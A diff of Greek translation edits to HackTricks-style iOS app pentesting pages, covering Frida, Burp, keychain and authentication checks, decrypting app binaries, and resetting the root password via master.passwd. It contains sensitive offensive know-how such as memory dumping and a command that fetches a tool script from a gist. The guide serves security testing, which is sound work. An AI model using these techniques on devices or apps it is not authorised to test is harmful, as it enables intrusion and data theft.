Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
|
||||
|
||||
### Έλεγχος
|
||||
|
||||
@ -718,13 +718,13 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
Για **περισσότερες πληροφορίες** σχετικά με τις κρυπτογραφικές APIs και βιβλιοθήκες iOS, επισκεφθείτε [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
Για **περισσότερες πληροφορίες** σχετικά με τα κρυπτογραφικά APIs και βιβλιοθήκες iOS, επισκεφθείτε [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
|
||||
## Τοπική Αυθεντικοποίηση
|
||||
|
||||
Η **τοπική αυθεντικοποίηση** παίζει κρίσιμο ρόλο, ειδικά όταν αφορά την προστασία της πρόσβασης σε ένα απομακρυσμένο σημείο μέσω κρυπτογραφικών μεθόδων. Η ουσία εδώ είναι ότι χωρίς σωστή υλοποίηση, οι μηχανισμοί τοπικής αυθεντικοποίησης μπορούν να παρακαμφθούν.
|
||||
|
||||
Το [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρές APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
|
||||
Το [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρά APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
|
||||
|
||||
Για την ενσωμάτωση του Touch ID/Face ID, οι προγραμματιστές έχουν δύο επιλογές API:
|
||||
|
||||
@ -738,7 +738,7 @@ ios monitor crypt
|
||||
|
||||
Για να ζητήσουν από τους χρήστες αυθεντικοποίηση, οι προγραμματιστές θα πρέπει να χρησιμοποιήσουν τη μέθοδο **`evaluatePolicy`** μέσα στην κλάση **`LAContext`**, επιλέγοντας μεταξύ:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Ζητάει Touch ID ή κωδικό πρόσβασης συσκευής, αποτυγχάνοντας αν κανένα από τα δύο δεν είναι ενεργοποιημένο.
|
||||
- **`deviceOwnerAuthentication`**: Ζητάει Touch ID ή κωδικό πρόσβασης συσκευής, αποτυγχάνει αν κανένα από τα δύο δεν είναι ενεργοποιημένο.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Ζητάει αποκλειστικά Touch ID.
|
||||
|
||||
Μια επιτυχής αυθεντικοποίηση υποδεικνύεται από μια boolean τιμή επιστροφής από το **`evaluatePolicy`**, υποδεικνύοντας μια πιθανή αδυναμία ασφαλείας.
|
||||
@ -749,7 +749,7 @@ ios monitor crypt
|
||||
|
||||
Το keychain προσφέρει τη δυνατότητα να ορίσετε στοιχεία με το χαρακτηριστικό `SecAccessControl`, το οποίο περιορίζει την πρόσβαση στο στοιχείο μέχρι ο χρήστης να αυθεντικοποιηθεί επιτυχώς μέσω Touch ID ή κωδικού πρόσβασης συσκευής. Αυτή η δυνατότητα είναι κρίσιμη για την ενίσχυση της ασφάλειας.
|
||||
|
||||
Παρακάτω παρατίθενται παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε μια συμβολοσειρά από/στο keychain, εκμεταλλευόμενοι αυτές τις δυνατότητες ασφαλείας. Τα παραδείγματα δείχνουν συγκεκριμένα πώς να ρυθμίσετε τον έλεγχο πρόσβασης ώστε να απαιτεί αυθεντικοποίηση Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή στην οποία ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί κωδικός πρόσβασης συσκευής.
|
||||
Παρακάτω παρατίθενται παραδείγματα κώδικα σε Swift και Objective-C που δείχνουν πώς να αποθηκεύσετε και να ανακτήσετε μια συμβολοσειρά από/στο keychain, εκμεταλλευόμενοι αυτές τις δυνατότητες ασφαλείας. Τα παραδείγματα δείχνουν συγκεκριμένα πώς να ρυθμίσετε τον έλεγχο πρόσβασης ώστε να απαιτείται αυθεντικοποίηση Touch ID και να διασφαλίσετε ότι τα δεδομένα είναι προσβάσιμα μόνο στη συσκευή στην οποία ρυθμίστηκαν, υπό την προϋπόθεση ότι έχει ρυθμιστεί κωδικός πρόσβασης συσκευής.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -1017,8 +1017,8 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Έλεγχος Ονόματος Κεντρικού Υπολογιστή
|
||||
|
||||
Ένα κοινό ζήτημα στην επικύρωση του πιστοποιητικού TLS είναι να ελέγξετε ότι το πιστοποιητικό έχει υπογραφεί από μια **έμπιστη** **CA**, αλλά **όχι να ελέγξετε** αν **το όνομα του κεντρικού υπολογιστή** του πιστοποιητικού είναι το όνομα του κεντρικού υπολογιστή που προσπελάζεται.\
|
||||
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευτείτε την CA του Burp στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό κεντρικό υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
|
||||
Ένα κοινό ζήτημα στην επικύρωση του πιστοποιητικού TLS είναι να ελέγξετε ότι το πιστοποιητικό έχει υπογραφεί από μια **έμπιστη** **CA**, αλλά **όχι να ελέγξετε** αν **το όνομα κεντρικού υπολογιστή** του πιστοποιητικού είναι το όνομα κεντρικού υπολογιστή που προσπελάζεται.\
|
||||
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευθείτε το Burp CA στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό όνομα κεντρικού υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
|
||||
|
||||
### Pinning Πιστοποιητικού
|
||||
|
||||
@ -1029,18 +1029,18 @@ burp-configuration-for-ios.md
|
||||
|
||||
## Διάφορα
|
||||
|
||||
- Στο **`/System/Library`** μπορείτε να βρείτε τα frameworks που είναι εγκατεστημένα στο τηλέφωνο και χρησιμοποιούνται από τις συστημικές εφαρμογές
|
||||
- Στο **`/System/Library`** μπορείτε να βρείτε τα frameworks που είναι εγκατεστημένα στο τηλέφωνο που χρησιμοποιούνται από τις συστημικές εφαρμογές
|
||||
- Οι εφαρμογές που εγκαθίστανται από τον χρήστη από το App Store βρίσκονται μέσα στο **`/User/Applications`**
|
||||
- Και το **`/User/Library`** περιέχει δεδομένα που αποθηκεύονται από τις εφαρμογές επιπέδου χρήστη
|
||||
- Μπορείτε να αποκτήσετε πρόσβαση στο **`/User/Library/Notes/notes.sqlite`** για να διαβάσετε τις σημειώσεις που αποθηκεύονται μέσα στην εφαρμογή.
|
||||
- Μέσα στον φάκελο μιας εγκατεστημένης εφαρμογής (**`/User/Applications/<APP ID>/`**) μπορείτε να βρείτε μερικά ενδιαφέροντα αρχεία:
|
||||
- **`iTunesArtwork`**: Το εικονίδιο που χρησιμοποιείται από την εφαρμογή
|
||||
- **`iTunesMetadata.plist`**: Πληροφορίες της εφαρμογής που χρησιμοποιούνται στο App Store
|
||||
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την προσωρινή μνήμη. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το snapshot που πραγματοποιήθηκε στην εφαρμογή πριν την αποστολή της στο παρασκήνιο.
|
||||
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την προσωρινή μνήμη. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το στιγμιότυπο που πραγματοποιήθηκε στην εφαρμογή πριν την αποστολή της στο παρασκήνιο.
|
||||
|
||||
### Hot Patching/Επιβεβλημένη Ενημέρωση
|
||||
|
||||
Οι προγραμματιστές μπορούν απομακρυσμένα να **διορθώσουν όλες τις εγκαταστάσεις της εφαρμογής τους άμεσα** χωρίς να χρειάζεται να υποβάλουν ξανά την εφαρμογή στο App Store και να περιμένουν μέχρι να εγκριθεί.\
|
||||
Οι προγραμματιστές μπορούν απομακρυσμένα **να διορθώσουν όλες τις εγκαταστάσεις της εφαρμογής τους άμεσα** χωρίς να χρειάζεται να υποβάλουν ξανά την εφαρμογή στο App Store και να περιμένουν μέχρι να εγκριθεί.\
|
||||
Για αυτό το σκοπό συνήθως χρησιμοποιείται το [**JSPatch**](https://github.com/bang590/JSPatch)**.** Αλλά υπάρχουν και άλλες επιλογές όπως το [Siren](https://github.com/ArtSabintsev/Siren) και το [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Αυτός είναι ένας επικίνδυνος μηχανισμός που θα μπορούσε να καταχραστεί από κακόβουλα SDK τρίτων, επομένως συνιστάται να ελέγξετε ποια μέθοδος χρησιμοποιείται για την αυτόματη ενημέρωση (αν υπάρχει) και να την δοκιμάσετε.** Μπορείτε να προσπαθήσετε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής για αυτό το σκοπό.
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# iOS Βασικές Λειτουργίες Δοκιμών
|
||||
# iOS Basic Testing Operations
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
### **Ταυτοποίηση του UDID μιας Συσκευής iOS**
|
||||
|
||||
Για να ταυτοποιηθεί μοναδικά μια συσκευή iOS, χρησιμοποιείται μια ακολουθία 40 ψηφίων γνωστή ως UDID. Στο macOS Catalina ή νεότερο, αυτό μπορεί να βρεθεί στην εφαρμογή **Finder**, καθώς το iTunes δεν είναι πλέον παρόν. Η συσκευή, μόλις συνδεθεί μέσω USB και επιλεγεί στο Finder, αποκαλύπτει το UDID της μεταξύ άλλων πληροφοριών όταν κάνετε κλικ στις λεπτομέρειες κάτω από το όνομά της.
|
||||
Για να ταυτοποιηθεί μοναδικά μια συσκευή iOS, χρησιμοποιείται μια ακολουθία 40 ψηφίων γνωστή ως UDID. Σε macOS Catalina ή νεότερη έκδοση, αυτό μπορεί να βρεθεί στην **εφαρμογή Finder**, καθώς το iTunes δεν είναι πλέον παρόν. Η συσκευή, μόλις συνδεθεί μέσω USB και επιλεγεί στο Finder, αποκαλύπτει το UDID της μεταξύ άλλων πληροφοριών όταν κάνετε κλικ στις λεπτομέρειες κάτω από το όνομά της.
|
||||
|
||||
Για εκδόσεις του macOS πριν από το Catalina, το iTunes διευκολύνει την ανακάλυψη του UDID. Λεπτομερείς οδηγίες μπορείτε να βρείτε [εδώ](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
Για εκδόσεις macOS πριν από την Catalina, το iTunes διευκολύνει την ανακάλυψη του UDID. Λεπτομερείς οδηγίες μπορείτε να βρείτε [εδώ](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
|
||||
Τα εργαλεία γραμμής εντολών προσφέρουν εναλλακτικές μεθόδους για την ανάκτηση του UDID:
|
||||
|
||||
@ -42,7 +42,7 @@ $ ssh -p 2222 root@localhost
|
||||
|
||||
### **Επαναφορά Ξεχασμένων Κωδικών Πρόσβασης**
|
||||
|
||||
Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης πίσω στην προεπιλογή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος hash με το hash για `alpine` δίπλα στις εγγραφές χρηστών `root` και `mobile`.
|
||||
Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης στην προεπιλογή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος hash με το hash για `alpine` δίπλα στις εγγραφές χρηστών `root` και `mobile`.
|
||||
|
||||
## **Τεχνικές Μεταφοράς Δεδομένων**
|
||||
|
||||
@ -56,11 +56,11 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **Εργαλεία Γραφικής Διεπαφής**
|
||||
|
||||
**Χρησιμοποιώντας το iFunbox και το iExplorer:** Αυτά τα εργαλεία GUI είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4 και μετά, η Apple περιορίζει την πρόσβαση αυτών των εργαλείων στο sandbox της εφαρμογής εκτός αν η συσκευή είναι jailbroken.
|
||||
**Χρησιμοποιώντας το iFunbox και το iExplorer:** Αυτά τα εργαλεία GUI είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4, η Apple περιορίζει την πρόσβαση αυτών των εργαλείων στο sandbox της εφαρμογής εκτός αν η συσκευή είναι jailbroken.
|
||||
|
||||
### **Χρησιμοποιώντας το Objection για Διαχείριση Αρχείων**
|
||||
|
||||
**Διαδραστική Γραμμή Εντολών με το Objection:** Η εκκίνηση του objection παρέχει πρόσβαση στον κατάλογο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον κατάλογο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και της αποστολής τους προς και από τη συσκευή iOS.
|
||||
**Διαδραστική Σκηνή με το Objection:** Η εκκίνηση του objection παρέχει πρόσβαση στον κατάλογο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον κατάλογο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και της αποστολής τους προς και από τη συσκευή iOS.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
@ -70,7 +70,7 @@ file download <filename>
|
||||
|
||||
### **Απόκτηση του Αρχείου IPA**
|
||||
|
||||
**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για δοκιμή μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο downloader asset των υπηρεσιών ITMS, το οποίο εγκαθίσταται μέσω npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
|
||||
**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για δοκιμή μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο downloader περιουσιακών στοιχείων υπηρεσιών ITMS, το οποίο εγκαθίσταται μέσω npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
|
||||
|
||||
### **Διαδικασία Αποκρυπτογράφησης**
|
||||
|
||||
**Επισκόπηση Χειροκίνητης Αποκρυπτογράφησης:** Τα δυαδικά αρχεία εφαρμογών iOS είναι κρυπτογραφημένα από την Apple χρησιμοποιώντας το FairPlay. Για να γίνει αντίστροφη μηχανική, πρέπει να γίνει dump του αποκρυπτογραφημένου δυαδικού αρχείου από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, την αναγνώριση της κρυπτογραφημένης ενότητας και στη συνέχεια την εξαγωγή και αντικατάσταση αυτής της ενότητας με τη μορφή της αποκρυπτογράφησής της.
|
||||
**Επισκόπηση Χειροκίνητης Αποκρυπτογράφησης:** Τα δυαδικά αρχεία εφαρμογών iOS είναι κρυπτογραφημένα από την Apple χρησιμοποιώντας το FairPlay. Για να γίνει αντίστροφη μηχανική, πρέπει να γίνει dump του αποκρυπτογραφημένου δυαδικού αρχείου από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, την αναγνώριση της κρυπτογραφημένης ενότητας και στη συνέχεια την εξαγωγή και αντικατάσταση αυτής της ενότητας με τη μορφή της αποκρυπτογραφημένης.
|
||||
|
||||
**Έλεγχος και Τροποποίηση Σημαίας PIE:**
|
||||
```bash
|
||||
@ -90,9 +90,9 @@ otool -Vh Original_App
|
||||
python change_macho_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
```
|
||||
**Εντοπισμός Κρυπτογραφημένης Ενότητας και Εκχύλιση Μνήμης:**
|
||||
**Εντοπισμός Κρυπτογραφημένου Τμήματος και Εκχύλιση Μνήμης:**
|
||||
|
||||
Καθορίστε τις διευθύνσεις έναρξης και λήξης της κρυπτογραφημένης ενότητας χρησιμοποιώντας `otool` και εκχυλίστε τη μνήμη από τη jailbroken συσκευή χρησιμοποιώντας gdb.
|
||||
Καθορίστε τις διευθύνσεις αρχής και τέλους του κρυπτογραφημένου τμήματος χρησιμοποιώντας `otool` και εκχυλίστε τη μνήμη από τη jailbroken συσκευή χρησιμοποιώντας gdb.
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
@ -109,7 +109,7 @@ dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
|
||||
#### **frida-ios-dump**
|
||||
|
||||
Το [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) εργαλείο χρησιμοποιείται για **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμιστεί το `dump.py` για να συνδεθεί με τη συσκευή iOS, κάτι που μπορεί να γίνει μέσω localhost στην πόρτα 2222 μέσω **iproxy** ή απευθείας μέσω της διεύθυνσης IP της συσκευής και της πόρτας.
|
||||
Το [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) εργαλείο χρησιμοποιείται για **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμιστεί το `dump.py` για να συνδεθεί με τη συσκευή iOS, κάτι που μπορεί να γίνει μέσω localhost στη θύρα 2222 μέσω **iproxy** ή απευθείας μέσω της διεύθυνσης IP της συσκευής και της θύρας.
|
||||
|
||||
Οι εφαρμογές που είναι εγκατεστημένες στη συσκευή μπορούν να απαριθμηθούν με την εντολή:
|
||||
```bash
|
||||
@ -123,7 +123,7 @@ $ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
|
||||
#### **flexdecrypt**
|
||||
|
||||
Το εργαλείο [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν τη λήψη και εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για να καταγράψει και να εξάγει εφαρμογές, όπως φαίνεται στις παρακάτω εντολές:
|
||||
Το [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) εργαλείο, μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν τη λήψη και εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για να καταγράψει και να εξάγει εφαρμογές, όπως φαίνεται στις παρακάτω εντολές:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
@ -138,7 +138,7 @@ bagbak --raw Chrome
|
||||
```
|
||||
#### **r2flutch**
|
||||
|
||||
**r2flutch**, χρησιμοποιώντας τόσο το radare όσο και το frida, χρησιμεύει για την αποκρυπτογράφηση και την εξαγωγή εφαρμογών. Περισσότερες πληροφορίες μπορείτε να βρείτε στη [**σελίδα GitHub**](https://github.com/as0ler/r2flutch).
|
||||
**r2flutch**, χρησιμοποιώντας τόσο το radare όσο και το frida, εξυπηρετεί για την αποκρυπτογράφηση και την εξαγωγή εφαρμογών. Περισσότερες πληροφορίες μπορείτε να βρείτε στη [**σελίδα GitHub**](https://github.com/as0ler/r2flutch).
|
||||
|
||||
### **Εγκατάσταση Εφαρμογών**
|
||||
|
||||
@ -158,7 +158,7 @@ bagbak --raw Chrome
|
||||
|
||||
#### **Επιτρέψτε την Εγκατάσταση Εφαρμογών σε Συσκευές που δεν είναι iPad**
|
||||
|
||||
Για να εγκαταστήσετε εφαρμογές που προορίζονται για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Αυτή η τροποποίηση, ωστόσο, απαιτεί την επαναυπογραφή του αρχείου IPA λόγω ελέγχων επικύρωσης υπογραφής.
|
||||
Για να εγκαταστήσετε εφαρμογές που είναι ειδικές για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Αυτή η τροποποίηση, ωστόσο, απαιτεί την επαναυπογραφή του αρχείου IPA λόγω ελέγχων επικύρωσης υπογραφής.
|
||||
|
||||
**Σημείωση**: Αυτή η μέθοδος μπορεί να αποτύχει αν η εφαρμογή απαιτεί δυνατότητες που είναι αποκλειστικές για νεότερα μοντέλα iPad ενώ χρησιμοποιείτε παλαιότερο iPhone ή iPod touch.
|
||||
|
||||
|
||||
@ -24,7 +24,7 @@
|
||||
|
||||
Για χρήστες με jailbroken συσκευές, το SSH μέσω USB (μέσω **iproxy**) προσφέρει μια μέθοδο για να δρομολογήσετε την κίνηση απευθείας μέσω του Burp:
|
||||
|
||||
1. **Δημιουργία Σύνδεσης SSH:** Χρησιμοποιήστε το iproxy για να προωθήσετε το SSH στο localhost, επιτρέποντας τη σύνδεση από τη συσκευή iOS στον υπολογιστή που εκτελεί το Burp.
|
||||
1. **Καθ establishment SSH Σύνδεσης:** Χρησιμοποιήστε το iproxy για να προωθήσετε το SSH στο localhost, επιτρέποντας τη σύνδεση από τη συσκευή iOS στον υπολογιστή που εκτελεί το Burp.
|
||||
|
||||
```bash
|
||||
iproxy 2222 22
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Εξαγωγή Δικαιωμάτων από Συγκροτημένη Εφαρμογή
|
||||
# Εξαγωγή Δικαιωμάτων από Συγκεντρωμένη Εφαρμογή
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
### **Εξαγωγή Δικαιωμάτων και Αρχείων Mobile Provision**
|
||||
|
||||
Όταν ασχολείστε με το IPA μιας εφαρμογής ή με μια εγκατεστημένη εφαρμογή σε μια jailbroken συσκευή, η άμεση εύρεση αρχείων `.entitlements` ή του αρχείου `embedded.mobileprovision` μπορεί να μην είναι δυνατή. Ωστόσο, οι λίστες ιδιοτήτων δικαιωμάτων μπορούν να εξαχθούν από το δυαδικό αρχείο της εφαρμογής, ακολουθώντας τις διαδικασίες που περιγράφονται στο κεφάλαιο "iOS Basic Security Testing", ιδιαίτερα στην ενότητα "Acquiring the App Binary".
|
||||
Όταν ασχολείστε με το IPA μιας εφαρμογής ή με μια εγκατεστημένη εφαρμογή σε μια jailbroken συσκευή, η εύρεση αρχείων `.entitlements` ή του αρχείου `embedded.mobileprovision` μπορεί να μην είναι δυνατή. Ωστόσο, οι λίστες ιδιοτήτων δικαιωμάτων μπορούν να εξαχθούν από το δυαδικό αρχείο της εφαρμογής, ακολουθώντας τις διαδικασίες που περιγράφονται στο κεφάλαιο "iOS Basic Security Testing", ιδιαίτερα στην ενότητα "Acquiring the App Binary".
|
||||
|
||||
Ακόμα και με κρυπτογραφημένα δυαδικά αρχεία, ορισμένα βήματα μπορούν να χρησιμοποιηθούν για να εξαχθούν αυτά τα αρχεία. Εάν αυτά τα βήματα αποτύχουν, εργαλεία όπως το Clutch (αν είναι συμβατό με την έκδοση iOS), frida-ios-dump ή παρόμοια βοηθητικά προγράμματα μπορεί να απαιτούνται για την αποκρυπτογράφηση και εξαγωγή της εφαρμογής.
|
||||
Ακόμα και με κρυπτογραφημένα δυαδικά αρχεία, ορισμένα βήματα μπορούν να χρησιμοποιηθούν για να εξαχθούν αυτά τα αρχεία. Εάν αυτά τα βήματα αποτύχουν, εργαλεία όπως το Clutch (αν είναι συμβατό με την έκδοση iOS), frida-ios-dump ή παρόμοια βοηθητικά προγράμματα μπορεί να απαιτούνται για να αποκρυπτογραφήσουν και να εξάγουν την εφαρμογή.
|
||||
|
||||
#### **Εξαγωγή της Λίστας Δικαιωμάτων Plist από το Δυαδικό Αρχείο της Εφαρμογής**
|
||||
|
||||
|
||||
@ -54,7 +54,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
||||
```
|
||||
### Πάρε όλες τις κλάσεις και μεθόδους
|
||||
|
||||
- Αυτόματη συμπλήρωση: Απλά εκτέλεσε `frida -U <program>`
|
||||
- Αυτόματη συμπλήρωση: Απλώς εκτέλεσε `frida -U <program>`
|
||||
|
||||
<figure><img src="../../images/image (1159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -182,9 +182,9 @@ Stalker.flush() // this is important to get all events
|
||||
|
||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) είναι μια **σουίτα fuzzing βασισμένη σε Frida** που προσφέρει μια ποικιλία τρόπων fuzzing για fuzzing εντός διαδικασίας, όπως μια λειτουργία AFL++ ή μια παθητική λειτουργία ιχνηλάτησης. Πρέπει να λειτουργεί σε όλες τις πλατφόρμες που υποστηρίζονται από το Frida.
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) είναι μια **σουίτα fuzzing βασισμένη σε Frida** που προσφέρει μια ποικιλία τρόπων fuzzing για fuzzing εντός διαδικασίας, όπως ένας τρόπος AFL++ ή ένας παθητικός τρόπος ιχνηλάτησης. Πρέπει να λειτουργεί σε όλες τις πλατφόρμες που υποστηρίζονται από το Frida.
|
||||
|
||||
- [**Εγκατάσταση fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
- [**Εγκατάσταση του fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
```bash
|
||||
# Get fpicker
|
||||
git clone https://github.com/ttdennis/fpicker
|
||||
@ -319,7 +319,7 @@ killall -9 logd
|
||||
Μπορείτε να ελέγξετε τις κρατήσεις σε:
|
||||
|
||||
- **iOS**
|
||||
- Ρυθμίσεις → Ιδιωτικότητα → Ανάλυση & Βελτιώσεις → Δεδομένα Ανάλυσης
|
||||
- Ρυθμίσεις → Ιδιωτικότητα → Αναλύσεις & Βελτιώσεις → Δεδομένα Αναλύσεων
|
||||
- `/private/var/mobile/Library/Logs/CrashReporter/`
|
||||
- **macOS**:
|
||||
- `/Library/Logs/DiagnosticReports/`
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
# Προστασία Δεδομένων
|
||||
|
||||
Το iOS προσφέρει στους προγραμματιστές τις **API Προστασίας Δεδομένων**, που βασίζονται στον Secure Enclave Processor (SEP) — έναν ειδικό επεξεργαστή για κρυπτογραφικές λειτουργίες και διαχείριση κλειδιών. Ο SEP διασφαλίζει την ακεραιότητα της προστασίας των δεδομένων μέσω ενός μοναδικού κλειδιού που είναι συγκεκριμένο για τη συσκευή, το UID της συσκευής, που είναι ενσωματωμένο σε αυτόν.
|
||||
